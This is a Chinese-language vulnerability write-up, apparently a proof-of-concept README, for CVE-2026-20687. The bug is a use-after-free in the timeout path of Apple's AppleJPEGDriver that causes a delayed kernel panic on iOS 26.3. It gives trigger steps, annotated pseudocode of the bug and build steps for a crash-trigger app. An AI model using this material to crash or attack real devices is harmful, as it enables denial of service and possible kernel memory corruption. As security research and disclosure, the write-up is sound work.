CVE-2026-20687：AppleJPEGDriver startDecoder() 超时 UAF（延迟 panic）

CVE-2026-20687 | 作者：Johnny Franks (@0xjohnny)

组件： 内核

影响： 某个 App 可能能够导致意外的系统终止或写入内核内存

描述： 通过改进内存管理解决了一个释放后使用问题。

—— Apple 安全内容，iOS 26.4 和 iPadOS 26.4

这会导致你的设备内核 panic。请保存你的工作。

已在 iPhone18,2（iPhone 17 Pro Max，A19 Pro）上的 iOS 26.3（23D125）测试。

触发方式

直接触发：

1. 运行 PoC 并点击 Panic（为驱动做准备 / 将异步工作加入队列）。
2. 然后打开 相机（在受影响的版本上，这会可靠地触发同步 JPEG 解码 + 超时）。
3. 超时路径释放了一个请求，但将其内嵌的队列节点指针留在了按编解码器划分的 vector 中。
4. 后续的队列遍历会解引用这个陈旧节点，导致内核 panic（MTE 标签检查错误）。

// PoC：为驱动做准备；panic 通常延迟到打开相机时才发生。
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
  startDecoder_async();                   // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);

// 之后，打开相机会触发：
startDecoder_sync();
  queue_io_gated(): vector.push(req + 0x78);
  wait(10s) -> TIMEOUT;
  pool_free(req);                         // BUG：没有出队（req + 0x78）

// 再之后（finish_io_gated）：
fullSpeedRequestExist():
  node_ptr = vector[i];                   // 陈旧：node_ptr == (已释放的 req + 0x78)
  req2 = *(node_ptr + 0x8);              // 对 req+0x80 的 UAF 读取 -> MTE 标签错误 -> panic

构建与运行

1. 在 Xcode 中打开 ios-app/Test.xcodeproj
2. 选择你的 iOS 设备（模拟器没有用）
3. 构建并运行
4. 点击 Panic 按钮
5. 打开 相机 App 以触发延迟的 panic